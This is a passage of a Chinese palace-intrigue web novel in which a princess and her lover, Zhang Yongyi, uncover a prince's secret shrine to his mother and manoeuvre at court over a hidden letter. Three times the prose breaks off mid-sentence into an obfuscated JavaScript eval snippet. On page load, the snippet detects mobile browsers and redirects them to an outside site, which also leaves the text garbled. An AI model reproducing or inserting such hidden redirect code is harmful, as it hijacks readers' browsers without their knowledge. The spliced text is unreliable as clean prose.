沈磐盖好自己被霍辄带起来的斗篷一角,“你这种信任很让人震撼,没有人懂,没有人敢懂,更不会去懂,世界居然会有像你这种胆敢赔上一切的信任。” 霍辄偏过脸,见她又是一笑,终于笑得有那么几分艳羡和真诚。 “这里只有我一个人,也只有我一个人听见了你们的话。” 霍辄眸光一闪,刚刚差点扼爆梁纪脖子的手痉挛似地一收,像是在挣扎着不去掐断沈磐的喉咙。 “我不会说出来的,大将军放心,我只想知道,到了最后,他究竟对不对得起你这值得死生相待的信任。” 沈磐静待霍辄的脚步声彻底消失。 她这才深吸一口气。 她早就做好最坏的打算了,没想到天公作美,局势还能这么光明。于是她就明白了,孽根生烂果,霍辄怎么会意外呢?她想破天也想不明白的事情便随着低沉的天幕送到她眼前。 是了,他从来都不是果子,而是盛着烂果子的那只筐。 ** 天黑,兖王府的书房更黑。随着门外游廊响起的脚步声,廊下吊着的宫灯也一盏盏地被点亮,匆忙而来的人声也越发清晰:“快,去书房!这里怎么一个把守的人也没有!” “朱副使,王爷怜悯亲卫的辛苦,又因为王府书房也不是机关要地,故而从不设防。” “蠢货!”那锦麟卫副使刚要一鞭子抽上,想到这窝囊废也是有个出身的,只能压着吃人的怒气吼道:“除了书房,王府可有其他重要的地方!” 那人被骂了也不恼,只道:“那必然是小佛堂了,王爷在那里供奉了生母的牌位……” “蠢货!陛下最忌讳有亲王私设供奉,供奉的还是后妃,这是要掉脑袋的!” 朱副使差点被兖王这小子的要命操作气得被过气去,他一掌拍开书房门,见房内冷冷清清,书架上、茶几上、画案上到处都是兖王和各种文人墨客的诗稿,虽然乱,但不似被人胡乱翻找过。 他稍微定神,“带我去佛堂,这里一会儿再找!” 房门很快被人阖上,门口也站上了两个锦麟卫。待游廊上的响动还未彻底散去,张永一立即从立柜与墙面构成的角落里走出,叼着薄如蝉翼的刀片,轻手轻脚地移到书架旁,凭着先前无人时点灯照亮记下的方位摸索,终于在陈年旧书后的柜面上摸到了一个微微凸起的薄片。 工部不少官员都是薛正衢的门生,来之前张永一就从工部拿到了兖王府的俯瞰图,还是天元年间从零开始建造王府的初版工程图。而今的兖王府是没有俯瞰图的,就算有,此等机密工部也不敢给,但哪怕时历天元、升平两朝,从最初的吴王府变成了兖王府,房子构造会因为每一任主人的喜好和需要而进行调整,不过房子就这么大,再怎么改,整体的构架是不会变的。 按照最初的设计,这一面书架背后的墙面是可以活动的,后面留了一间密室,不过并肩站上十六个人而已,四四方方,没有窗眼。 锦麟卫来人前他就粗略探过,这书架背板上的木头虫眼花纹便是机关,他估摸着凭着墙板的厚度,机关里只能是飞刀或者是毒针。 那薄片楔得很紧,张永一只能用咬住的刀片去小心地撬。 “咯噔——” 听得这一声,张永一猫腰后退几步远离书架,就着窗外的光亮,他见书架从最中央裂开一条缝。再度探查过屋外的情况,张永一小心地拉着书架,将下底下嵌着活动轮地架子挡到窗前。 密室里黑黢黢不见底,像是一口形状奇怪的棺材。 张永一掏出火折子点燃,护着火光往密室里一探。 一瞬。 两瞬。 三瞬。 张永一后退半步,呼吸暂停。 他深吸一口气,再度前进半步,就见这笼子似的密室中央摆着一张香案,案上只供着一架牌位,上书“先妣长安霍氏轻娘之灵位”。 这必然是兖王为生母霍夫人供奉的牌位。 可是。 张永一背脊一凉。 如果兖王将母亲的牌位藏在了书房,那府中特设的小佛堂里怎么可能再供奉霍夫人的灵位? 张永一集中精神搜索这咫尺之地,不过片刻,一无所获,正当他要原路退回,就听得书房外一阵脚步,前去搜查小佛堂的朱副使居然去而复返了。 张永一盖灭火光,边蒙起脸边思忖是退入这缺氧封闭的密室还是回到书房里躲藏,就听书房外朱副使命令道:“你们全守在外面,谁也不许进去!” 话落,连退回密室的功夫都不给,这朱副使径直推开了房门。 张永一翻身滚到了窗下,顺手从地上捡起一张被写坏了的信纸折入怀中。这扇窗对着兖王府后院,正是张永一潜入的通道。 那边朱副使正点着灯,余光瞥见这黑暗中像有什么鬼影一闪,连忙连灯都不管了,拔出自己的绣春刀便一步步朝书架走出。 密室洞开,朱副使目光一寒,掏出自己随身带着的火折子吹出了火光。火苗蹿出的一刹那,他的刀也朝着窗下猫在黑暗里的张永一刺去。 张永一避着绣春刀向前滚去,恰好滚入那偌大的长案。朱副使没收住力道,那长案应声而断,门外守候的锦麟卫即刻冲入房中。 腹背受敌,张永一站起,刚好露出揣在夜行衣里的那一角信纸。 朱副使瞳孔一缩,冲门口的锦麟卫喊道:“捉住他!拿住那封信!” 张永一不得已拔出背着的刀奋力扛上朱副使的绣春刀,连退三步,为避开从后背的偷袭,他收了力气翻身跳过花桌,踩着桌边的木墩朝窗边飞去。 说时迟那时快,张永一又是一个用力在空中腾起身,在“轰隆”落地撞上书架前,用除秽剑刹住了脚,又连忙拔出剑顶上朱副使的刀锋。 “张!永!一!” 方才迫使张永一再度腾身的便是三支来自门口的羽箭,其中一支便擦着张永一的鼻尖堪堪飞过,却勾下了他的面巾。 趁着朱副使的震怒,张永一顺着他的刀再度卸力,余光瞥见脚下踩着的那支火折,心中一动,便滚到另一边的窗下捡起那支火折子。 一口气,吹起了新火,也照亮了他怀中的那封信。 去路已经被赶来的锦麟卫堵死,而朱副使提刀步步逼近。 张永一心一横,扬手将火折子朝那一堆书画扔去,后面的锦麟卫大惊失色、纷纷扑过去要抢那还在空中的火星,而朱副使不管,只一门心思盯着那封信。瞬息,他心心念念的这封信就被张永一迎面掷出。 是拿信,还是杀人,张永一猜得很准。 他一扫朱副使的下盘,趁着他抓信的功夫闪身跳上了窗台,赶在锦麟卫的羽箭追上前翻窗跳进了黑暗。 锦麟卫抓住了火折子,不禁都松口气,但见朱副使将争来夺去终于到手的书信撕烂,怒气冲冲地一脚揣上那推开的书架。旋即,密室中的牌位便暴露于熊熊火光,暴露在屋内每一个人眼前。 云勉收起弓,不由得更加震惊地后退半步。 ** 燕王府和兖王府仅有一街之隔,等张永一落入燕王府的后院里,隔街的兖王府便生起了煊天的火光。 沈磐和沈斫从屋内走出,那滚滚的烟遮天蔽月,恍惚让人想到了紫微宫那夜。沈磐的心一个咯噔漏跳一拍,沈斫却搀上张永一,“你受伤了!” 闻言,沈磐这才收回视线,看见张永一胸口的夜行衣裂了一道血口,自左心横划向右肺。 “没找到信,但发现兖王在密室里供奉生母的牌位。” 沈磐一愣,转忧为喜,但这点喜色很快就被随之而来的理性冲淡,更听张永一道:“他们认出我了。” 沈斫接了他的剑,将人往屋里带,一幅全然不关心局面的模样,只催促道:“崖然已经等着了,就怕你有个好歹,快去处理伤口……” 张永一眼见着沈磐的脸色愈发难看,脚下的步子也迟钝起来。 两个人一起停住,回头看向面色沉沉的沈磐。沈磐一抬眼,知道自己被他们看了个透,便也不去收拾脸上的肃穆,上手推搡着张永一,“去处理伤口,剩下的我来。” “对不起……” 沈磐微微一愣,见张永一垂着脸,低眉瞬目,对办砸了自己交给他的极其重要也是头一件事十分愧疚。 她略略展颜,“没有对不起,这点事算不得什么错,治伤才是最重要的。”说完,她叫来长缨卫仔细吩咐起来,等该有的准备都安排好了,沈磐这才进屋。 张永一才包上伤口,但还没来得及披衣,乍然被沈磐看见,他虽不再害羞,但有沈斫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17143141|192089||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在旁还是有些不自在。 沈磐兀自道:“既然兖王私设供奉,那就以此为借口、为要挟,反正明天一定会有不上道的人弹劾,弹劾你张永一潜入兖王府意图不轨,还放了把火,你身上有伤,这就是证据……” 沈斫问:“那永一会怎么样?” “倒也不用这么紧张。”沈磐在一边坐下,一瞬不瞬看着张永一穿衣,“到时候你坚决不认,就说这伤口是今夜和沈斫比划时误伤的,沈斫心情不好,手下没有轻重也可以理解。这封信极其要紧,纠缠不放对他们没有好处。” 翌日,果如沈磐所说,以嵇阀为首的一众人群起弹劾,连弹劾的说辞都与沈磐的话大差不差,张永一这就被叫进了宫。 但有一事例外。 锦麟卫指挥副使朱甡拿着一支血箭指控张永一,要求当堂验伤。张永一早和沈斫串好了供,便是验也验不出个定论,但瓜田李下的嫌疑落在头上会暂时薅掉张永一的指挥使职位,沈磐自有对策,谁料当堂跳出一个云勉。 这三支箭都是云勉放的,朱甡让他指认最合适不过,但谁也想不到,云勉会当堂反水,声称绝无此事。 于是乎张永一的嫌疑洗清了,但沈磐受到云信中的急信,说是锦麟卫指挥副使朱甡关押了云勉,要报复他当堂反水之仇,此等背叛之事,朱甡就算是用军法处置了他,霍辄也不会多说一句话,永济帝就更不会管了。 沈磐和霍辄达成的默契止于梁纪顶罪,营救云勉绝对不在通融客气的范围内。 沈磐预想得到霍辄的怒火。 张永一发现了密室里的秘密,朱甡带去的锦麟卫自然都长了眼睛,联系起兖王府的这场大火,可以料到那些锦麟卫的下场,而云勉有云信中这个亲爹,朱甡当然要卖云信中一个薄面,是故霍辄不得已要将云勉纳入心腹,云信中自然被迫站队。 结果今天出了这样的事,差点把心腹朱甡也赔了进去,霍辄想要清理门户,稍微审时度势一点,沈磐就不该救这自作多情的云勉。 但福祸相依,这未必不是个契机。 ** 在御书房外遇见霍辄在意料之中。 沈磐并未像从前那样讲完虚礼便各走各路,稍拦一手,便朝脸色阴沉的霍辄笑道:“霍大将军,本宫想格外向您讨个人情。” 霍辄当然知道这个人情是为谁讨的,当然也知道这“格外”二字究竟指的哪处把柄。以兖王在永济帝那里的受宠程度,为霍夫人私设供奉也不算什么大事,哭上两回,永济帝还会因为他的孝心而更加喜爱。 但前提是,永济帝不知道那封信的存在。 找不到这封信,朱甡为保万无一失,干脆放火烧了书房、烧了小佛堂,更烧了霍夫人的牌位,但事情就被闹大了,还被不明就里的嵇阀等人闹上了天。现在对他们来说最划算的结果就是,梁纪顶罪,朱甡、嵇阀等人因为胡乱攀咬而受到斥责,然后兖王出狱,他霍辄按照兖王的说法亲自烧毁那封信。 所以区区一个云勉,他抬抬手就可以放了。 霍辄道:“公主这话,臣受不起。” 沈磐抿唇朝他颔首示意。 在这件事上,他无有不应的,只是自己以此为要挟,一而再再而三地得寸进尺,难保他不会凶性大发要拼个你死我活。 但霍辄也许是个守信的君子。 沈磐敛容朝永济帝下拜。 可她不过是个唯利是图的小人。 “你来作甚?” 沈磐道:“兖王弟弟的府邸因为手下人的粗心大意起了火,烧了不少字画文玩,长缨卫指挥使张永一好心前去救火,却反被污蔑,那些满口胡言乱语玷污旁人的佞臣还在恣意妄为,儿臣心里实在不平,更为大楚朝廷的清明感到担忧。” 永济帝冷笑:“他们已经被朕罚过了,你还有什么不满?” 沈磐抬头:“儿臣听说昨夜忠义侯的幼子嵇阙在菁明书院与同窗大打出手,京兆府却坐视不管,甚至还帮着嵇家打压风声,儿臣实在不平。” 永济帝脸色不变,但沈磐从他的眼睛里看得出,他的心情更坏了。 沈磐添油加醋道:“儿臣听说,是嵇阙目中无人,随意翻旁人私物,更是扬言谁也奈何不了他,可他不仅打人、大放厥词,还窥伺到了兖王弟弟身上,兖王弟弟存在菁明书院的私物也被他翻了个底朝天——” “啪!” 永济帝手下的那盏茶就碎在了桌上,一边的律林刚要上前抬起他被碎片扎出血的手,就被永济帝赶了出去。 61. 第六十一章 不刊信(五) “你究竟要说什么!” 沈磐一抚脸颊,上次的那道伤痕还未愈合,而她的模样甚是柔弱怜惜,“儿臣看上了云信中之子云勉,还望父皇成全。” 一息。 两息。 三息。 永济帝眯起眼,“你若和他成婚,他替张络说的公义之话就要变成开脱包庇之言。” 沈磐垂下眼睫,轻轻一笑:“在临川郡主的马球会上儿臣第一次见他,后来借故登门便更加喜欢,如今他不畏危险、仗义执言,这就让儿臣更加倾心,张指挥使本就清白无辜,儿臣为何要因为他身上的官司而断送自己的良缘?” 永济帝轻嗤:“一个嵇阑,一个云勉,你大姐姐还在为夫守寡,你就这么风流滥情!看来嵇阀家中鸡犬不宁,他的一对儿子倒兄友弟恭,为了还嵇阑给你的这巴掌,不惜要这样报复……” “父皇,嵇阑让儿臣颜面扫地,儿臣不该回敬吗?”沈磐扬起头一字一句道:“若儿臣不亲自来求婚,父皇会帮儿臣出手吗?父皇若不应允,这满化隆城哪个正经男子愿意娶我呢?” 沈磐直起腰,“儿臣所求不过是家庭美满,如今能带来幸福的人就在眼前,儿臣说什么也不会放过,还望父皇成全。” 永济帝低头看着自己受伤的伤口,看着满手的血看了一会儿,这才慢悠悠道:“好,那就成全你,只望你与云勉成婚之后能收敛脾性,安安分分在家中相夫教子!” “父皇……” 永济帝猛地抬眼,眼里全是威胁。他本以为沈磐还要得寸进尺,结果他只看见了沈磐姣好的一张脸上,横流着难以言说的苦涩,“儿臣已再难生育。” 她目露哀切,语气也软了下来,“儿臣希望他日,若云家以此闹事,还望父皇能为儿臣撑腰。” 这样祈求完,那个多么柔弱可怜的女儿便消失了,取而代之的又是那个让人恨得咬牙切齿的沈磐。 ** 带着永济帝的圣旨,沈磐亲自前往朝阳门附近的锦麟卫衙司接诏狱里的云勉回家。 云勉是霍辄亲自带出来的,前一刻还是诏狱里的阶下囚了无生意,后一瞬就是即将尚主的准驸马天潢贵胄,云勉还适应不了这种身份转变带来的人生际遇,但霍辄经历过的风浪远比兖王府里烧毁的纸张要多得多,他朝沈磐一礼:“公主真是豁得出去。” 沈磐微笑:“投桃报李,不过如此。” 霍辄颔首。 至此,这桩案子彻底了结,就等刑部那里将结案的奏疏往御书房一递,然后梁纪枭首、兖王出狱,永济帝下旨厚葬荣安小郡主,再将涉事的所有人员各打五十大板,满朝上下便能齐心协力、其乐融融地一同等待今春化隆的盛事——春闱。 但这只是表面的交代。 试问,什么东西值得霍辄与沈磐等人这么掩人耳目地去抢呢?什么东西值得向来忠孝礼义、广结善缘的嵇阙和向来温吞守礼、胆小怕事的李圜大打出手的呢? 沈磐什么也没多说,只是要借着自己善妒的名声,让永济帝去惩罚嵇阙,借此向嵇阑报复。但是永济帝长了眼睛耳朵和脑子,他能不去想李闻达这乌龟似的儿子为什么要和嵇阀绵羊似的儿子嵇阙相争呢?嵇阀支持兖王,而李闻达必然是支持东宫,他们两个人的派系水火不容,但李圜和嵇阙之间从未传出过不和睦的声音。 最最重要的是,他们翻了兖王的东西。 这样一来,这个问题又变成了,究竟是什么东西值得他们这么去抢呢? 什么东西值得他们大费周章呢? 他们是不是知道了什么呢? 永济帝对梁纪绝对是宽容的,知道梁纪的作为就是为了报答霍夫人的恩情,一有机会他未必会出手相助,但睁一只眼闭一只眼还是做得到的,就如去岁的裘衣藏针案,毕竟梁纪的所作所为对他有利无害。 但梁纪也和施汜合谋,那他多多少少总该知道一些事情吧?在刑部狱中,他又指名要和霍辄对话,这么一来,临死之前,他总会与霍辄说些东西吧?可观霍辄举止,待他一如往常没有破绽,这是不是说明霍辄并不知道那些真相?可霍辄又是个沉默的人,但他的忠诚总不是装出来的,为了他的外甥,他就算知道了什么也该忍着的吧?他会有反心吗?他会怨恨我吗?他会告诉沈礴这些骇人的恩怨吗? 胡思乱想是最好的杀人刀,而人心的猜忌毒胜砒霜。 霍辄因约束不严而被罚回家思过,这是内阁的答复;但永济帝随便捏个借口就能把他捞回来,春闱在即、人手不够这就是永济帝的答复。 那么接下来最重要的就是霍辄的答复。 他会试探,他会说谎,他会坦白,他会沉默。 他是永济帝,他也是霍辄。 他不确定。 他赌不起。 他们都不敢。 只要有这个“不敢”,她就能办成很多事。 沈磐长长舒出一口气。 云勉看事情看得很明白,说话也很直接,他是为了替父报答张养元的恩情,当然,这恩情还远没有报完,他也不避讳说他们云家就是想和兖王划清界限,如今投入东宫的阵营,其实也不算是最好的打算。 把话说明白了,事情就会更加简单,但总有人不爱说话,而心思又明明白白写在脸上生怕自己看不见。 沈磐只能,无情点破。 推门进屋时,张永一刚换完药,在收拾榻上的东西。见到自己进来,他只抬头望了一眼,便又转过脸,好似收拾那些伤药需要耗费他多少精神来着。 沈磐心中无奈,径直走到他身前,伸手一戳缠着纱布的伤处,张永一果然因痛而转过脸抬起头看自己。 “你自己换的药?义然呢?” 他的睫毛长长,遮住那一双容易露陷的眼,“他回去看祖母了。” “梁国姑姑还好吗?” 张永一眉头微皱,“崖然说已经修养得很不错了。” 沈磐不瞎,况且还在目不转睛地盯着他的反应,自然看得见听见自己叫梁国长公主“姑姑”时他的别扭。他们两个是表亲,但差了辈,平日里不说那就是君与臣的关系,叫一声“梁国姑姑”便是表姑和表侄的关系。张永一斗胆以下犯上,以臣子之身无名无份和她纠缠,但姑侄的关系始终像是那迈不过的门槛,让他总觉得膈应。 有门槛,那就有疏远。 平时沈磐就是这么称呼梁国长公主的,但是特情特景,便会让听见的人百爪挠心。 其实张永一最膈应的点在于,他没有名分,而碍于梁国长公主的健康问题,他始终没有告知梁国,这便让梁国一直致力于要给他定下一门美满的婚事。现在祖母身体逐渐康健,正是他开口的好机会,却突然遇上了云勉,他再开口,在梁国那里赫然与外头那些不规不矩、一门心思要破坏旁人家庭的下三滥无异。 他说自己看淡了,但有时候,名分和情分他还是都想要的。 “那就好。”多想上半瞬,沈磐便能猜得透彻,又或者她早就洞悉张永一的心思,只是为了应付各种危机,她有些疲惫,便也想装傻充愣一回。 她低头捧着他的脸亲上一口,“云勉跟我说了,我这里也不是他的归宿,所以啊——” 沈磐想装的,可一开口便漏了个干净。 “所以啊他也不会和我有什么过多的牵扯,我呢,就只有你一个。” 张永一心里突然就复杂起来。他说自己能平淡接受情淡离开,但他始终不能想象在沈磐和他之间,什么叫作“情淡”。自己能带给她的实在不多,说她也年轻急色,但总有比自己更年轻俊逸的,说她看中长缨卫指挥使的权柄,但天下只有一个大将军霍辄、却能有千千万万个张络。他不是独一无二的,云勉也可以取代自己,而沈磐呢,张永一确定自己再也不可能遇见一个像沈磐这样的姑娘。 他离不开她。 与其说不愿放手,不如说从未牵到手心过。 “又在胡乱想什么?” 被沈磐抓包,张 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17147473|192089||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 永一环住她的腰,探身又亲了下她的唇角。 然后她的唇角扬起,呼吸喷在脸上,温温热热的,有些痒。 “我的婚事是做戏,但你……” 张永一又亲了起来,亲得又重又急。 沈磐拉下他按着自己后脑勺的手,“我不是在赶你走,但你终究要考虑的,认真考虑,考虑了,就不能对不起她们。况且,现在你祖母身体好了,宫里便能着手来处理你了,要收回长缨卫,只需要把你挪走,我觉得——” 沈磐双目放空,边想边道:“对付乔晏的方法也可以是对付你的方法,当然,这是厚道的办法,若陛下不再顾及梁国长公主,不再顾及皇家内部的情面,对付你就更简单了。” 触及张永一的眼神,她问:“你想走吗?” 张永一摇头。 “郭家到底有些没落了,方继昌的孙女待字闺中,那时满朝哗变支持东宫,只有他被太子关了武英殿,所以陛下很信任他,所以他是首辅,向他投诚未尝不可。他若看得中你,必不会让你离京。” “你还在赶我走。” 沈磐无奈叹息,细细打量他的面容,还是那时候雪地里初见时让人移不开眼的模样,彼时他都不让自己碰他的手,便是护腕也不行,而今他就在自己手中。 同行过一路已是有缘,过了这个口便注定会分道扬镳的,这就是无解的,不论赶不赶、留不留。 沈磐轻笑,“长安大,居不易,化隆比不上长安,却让人呆得更难。呆这这里,谁能不被渐染呢?玥儿才走,我就要拿她的性命去算,算算能在化隆讨到多少便宜。今日回来在路上碰见了郇萦,去年她走时和我说,若非大事她这辈子大抵也不会回来了,她还邀请我去那里玩——” “玩”这个字眼太过陌生,与之相连的仿佛是上辈子的回忆。 沈磐收回艳羡的想象低眉笑:“若非生在这里,谁愿意一辈子困在这个斗兽场?你若离京也好,免得也在这里变得面目全非。现在你不必反驳,也不必把自己的心剖出来反复地看,时间一久,你自己会发现的,你和当初从宁远门回来的那个千户张永一简直判若两人。在这里,什么东西都是可以算计的,一条命、一锭银,一颗心、三两金,若你从前觉得荒谬、现在觉得可笑,那将来你一定会算得情不自禁。” “我算过玥儿,算过璩儿,算过沈碧,连沈斫也算过。” 张永一知道这是她的软肋,便牵过她的手将她抱到怀中。 “你是对他好的。” 沈磐坐在他怀里,头碰着头,仿佛还能心连着心,“是么?我的这些‘好’,他从来都不想要,况且这也不是真‘好’,他还有璩儿在我这里,到底都是被算计的,一会儿觉得有朝一日叔侄之间难免龃龉,一会儿觉得我有两张底牌何其稳妥。” 她长长叹气,叹气时还是笑着的:“璩儿还小,感觉不出来,但沈斫都知道,他不说,不是不在意,而是有些心灰意冷。我一次次地算,一次次自以为是,他心里的人便要一次次地失去,到某一天,我也会失去他,不,我……” 她想说,她已经失去他了。 或者她想说,她厌倦了。厌倦了蝇营狗苟、明争暗斗,厌倦了战战兢兢、朝不保夕,更厌倦了煮豆燃萁、骨肉相残。 但那些鲜血呢?那些故人呢?那些仇怨呢?那些秘密呢? 到此为止她绝难心甘。 “张永一,我也算计过你。” 张永一摩挲她的手背。 “好。” 好歹还有值得图谋的东西。 沈磐的呼吸起伏,昭示了心绪的不稳。 她是个极念旧情的人,可她的情会越来越淡,淡到最后沈斫和沈仪璩对她来说也不过是荣保一生的工具,张永一就更不必说了,不过是从情天恨海里拘起一捧解渴的水。 她紧紧闭上眼,慢慢抚平自己的心。 “张永一,来年去万景楼下,为我射一盏灯吧。” “好。” 62. 第六十二章 永寂心(一) “大将军,王爷还未晨起……” 霍辄一把掀开挡在前路的仆人,踹开卧房门,正要冲到兖王的榻前,就见地上盘坐着一个衣衫不整的少年,顶着乱蓬蓬的头发,正轻抚着架在膝头的琴。 他一拨弦,便是一声怆然。 霍辄抬手,示意锦麟卫关上门。门一关上,门缝间的那道晨光在少年的脸上一晃,再在琴弦上一跳,随即被自己的身体遮住。 “那封信是不是在宁晨铎手中!” 兖王压下弦音,“那封信我烧了。” 霍辄不信,“宁晨铎写文向你道贺,你连夜给他还信,王府中没有,菁明书院也没有,那就只有宁晨铎了,这些年你写了不少文章存在他那里,别以为我不知道。” 兖王抬头,“舅舅,我是真的累了。” 皮肤蜡黄、蓬头垢面、双目失神,他显然是彻夜未眠。但他自己也是彻夜未眠,为了彻查那封信的下落,为了收拾这一地的狼藉,他今天早早收拾了跑到兖王府来质问这个脆弱的少年,仍然不忘要注意自己的仪容和身体。 他却把自己搞成了这副人不人、鬼不鬼的样子。 “舅舅,为了一个储位走到这个地步,这真的是你想要的吗?” “你住口!” 兖王凄笑:“我就只能写写文章,社稷从来不是我能担当的,我就只想就藩,去藩地当个普通的皇子,一辈子不与权力沾边,过年时回京探望母妃、舅舅,拜访我的哥哥、姐姐,然后在一个合适的年龄娶一个普通的妻子,在兖地过完我这平平无奇的一生……” “沈礴,你从来没得选。” 他捂住自己的眼睛,“可是舅舅,你有得选。” 霍辄撇头,“我也没得选。” 他的声音痛苦:“不!你有!我也有!我们都有!你不愿,我不敢,就这么眼睁睁看着他们死……我再也受不了了!” “陛下很快就会召见你,你如果露馅,便也活不成了!” “死亡,如何不是个好归宿呢?”他仰头凝望霍辄,嗤嗤地笑,“只可惜,我的文章……我再也不能为他写文章了……” “沈礴,你为何如此软弱。” 兖王向他哭喊:“舅舅!你为何如此冷血!” ** 三月,天气已大暖。 “公主!”窗外有人在喊。 张永一在黑暗中睁眼,伸手一把扯开帷帐,正见晨光氤氲,满室朦胧,地上有一个影子在晃,想来是团圆。 他低头看向自己怀里睡得还沉的沈磐,不知梦见了什么,熟睡时的眉头还是紧的。张永一在被子里的手轻轻拍拍她的背,这便将被子扯开了些,她中衣的袖子早就卷到了肩膀,横抱自己腰腹的手臂便暴露在经夜浓稠的薄凉里。 被这么稍微一冻,睡得不够安稳的沈磐就有些要苏醒的样子。 张永一拢起被子,蹭蹭她的脸颊,“磐磐,起来了,有大事。” 沈磐迷迷糊糊哼了一声,好像是听见了,但又像是在梦中呢喃。 张永一稍微撑起身,沈磐这才睁眼。 “今天就要放榜,这个关头万一出大事……” 沈磐坐起,捋下袖子,“能有什么事?什么事大得过你要去东北。” 张永一轻叹,下床取来衣物,听沈磐拢着头发声线有些沙哑:“他如法炮制,明升暗降,用一个宁海将军夺了你手中的长缨卫,还让你与曾经上司、当今的宁海将军蒲成骧结为仇家……” 张永一为她披了外衣,“蒲将军是一心为国效忠的,不论在边疆还是在化隆,蒲将军都不会改变初衷的。” “是啊,为国效忠,便是为君效忠,就算心中略有不忿,如今霍辄染病修养在家,江之万带着阴阳卫替代了锦麟卫,在春闱中大展拳脚,如今也是御书房里头一号的红人,马上就要把霍辄比了下去,有江之万在前,他总算也有个效仿的目标,不至于愤懑不平。” 张永一半跪着给她系腰带,“公主,生气伤身——” 沈磐拉起他散开的领口,遮住他身上的伤,“早上还是有点冷,你快些穿好衣裳,再回去一趟与你祖母说说话,等过了曲江宴,没几日你便要出发。今年什么都赶,科考的日程赶,曲江宴更要赶在十五之日……” 沈磐轻叹,抬起他的下巴,微微摩挲他又长出来的胡茬,“没事,他有张良计,我有过墙梯,他着急,我们就不能急,他没几日可活,我们还有大把的时间——” 门外团圆又唤了一声,沈磐站起走出里间。 “这是嵇公子的信。” 沈磐拆了读,没读一会儿整理好衣着的张永一便走了出来。 “嵇阑是出事了吗?” 沈磐面色不改,将信递给他,“没,不过喜忧参半,最忧的是,嵇阀要囚禁他,他直接出逃决裂,撕破了脸。” 张永一速速读完,“若是现在还查不出多年前嵇阀谋害卢兰的把柄,只怕接下来也收获不了多少,西北边将一批批地换,证据只会越来越少。” 沈磐深吸一口气,“我一直在想,嵇阀一定知道嵇阑在查自己的往事,可这么多年过去了,他竟然从未阻拦,任凭嵇阑的探子往来于西北和化隆之间视而不见。” “公主是说,他之所以敢让嵇阑查,正是因为他有把握嵇阑什么也查不到?” 沈磐点点头,“最好是他做事天衣无缝,所以嵇阑再有神通也抓不到把柄。” 张永一心一沉。 最坏就是,嵇阀从头至尾都是清白无辜的,所谓杀父之仇子虚乌有,嵇阑被骗了,他们也被骗了。 可是这绝对不应该,不然嵇阑的母亲为何要自杀?不然嵇阀这么多年为什么要猜忌他? 沈磐想到嵇阑信中提到的一个人。 解佳胤。 据嵇阑所说,最近嵇阀和解佳胤的关系有些紧张,说不出具体因为什么,但两个人之间仿佛长出了一堵墙,各自要窥伺对方的秘密,可墙又挡在中间过不去。 嵇阑说,这必定是他的反间计发力了。 嵇阀根本不信嵇阙的身份有假,但在菁明书院里,嵇阙从未受他这个当老子的命令就自发地翻找兖王的私物,像是受人指使,而嵇阙矢口否认,只说是和李闻达的儿子李圜起了口角,场面闹哄哄,这才最后误闯了兖王的书房。 不受控制,是所有父子关系爆炸的导火索。而让火烧得更加旺的是,自作主张的儿子居然会听从旁人的意见。 这个旁人是解佳胤。 解佳胤一直在掺和他们的家事,并且明里暗里鼓动挑拨嵇阀和嵇阑的父子关系,这是不争的事实。而嵇阀才发现这个事实,且解佳胤好像直接和霍辄搭上了关系、有了瞒着他的往来,平时战友之间的所谓无心之言,如今全变成了“猜忌”二字后的实证。 嵇阑还说,今年的省元曹菼有一个妹妹待字闺中,嵇阀本想替嵇阙求娶,这一下顿时犹豫起来,乃至于生出了要给自己说亲的想法,却被自己一句“我与李闻达约为婚姻”给驳了回去。 他们父子两个的嫌隙早就深如天堑,如今撕破脸皮,嵇阀却隐约有要挽回的举动。 但这种冰释前嫌的玩笑开不起。 沈磐的心鼓就这么突然地擂了起来。 如果这真是一场误会。 她抓过信又读了一遍,读至末尾嵇阑含着玩笑写下的话,“预祝公主新婚,百年长顺意”,他不像是纠结于择路不慎的困境之中,也不像是困囿于世事无常的翻覆之间,他快意得很,洒脱得很,更看淡得很。 可这样的表象之后呢? 沈磐盯着那句“百年长顺意”看了又看,没注意张永一去而复返,更带来了一个新消息:“齐家说,齐妙延怀孕了。” 沈磐愣了愣,这才挤出一抹勉强的笑,“好事……好事啊,沈斫知道了吗?” 然后她抬头就看见沈斫站在廊下。 他早已加冠成人,早脱去了少年心性,模样也越发成熟起来。可今日抬头乍然一见,沈磐觉得他的眼神也变了许多,从前那勃发洋溢的年轻意气旺盛如狂风中的一盏灯,一眨眼连烟也不剩。 这样的沈斫,不禁让她觉得陌生。 但,这也是好事啊,他都要当父亲了,如何还能像从前那样青涩?一夜之间能发生很多事,一年之内也能,他不是一眨眼长成这个样子的,沉默之中尽是沉稳,待自己的亲昵之内也多了冷淡。 都是好事,好事成双。 沈磐知道他心境不佳,却还是笑着邀请道:“去看过她们了吗?没有的话,今天你和我一起去。” 沈斫摇头:“不了,成婚之前不宜相见。” 沈磐笑:“那好,不过我还是要去看她的,你有什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 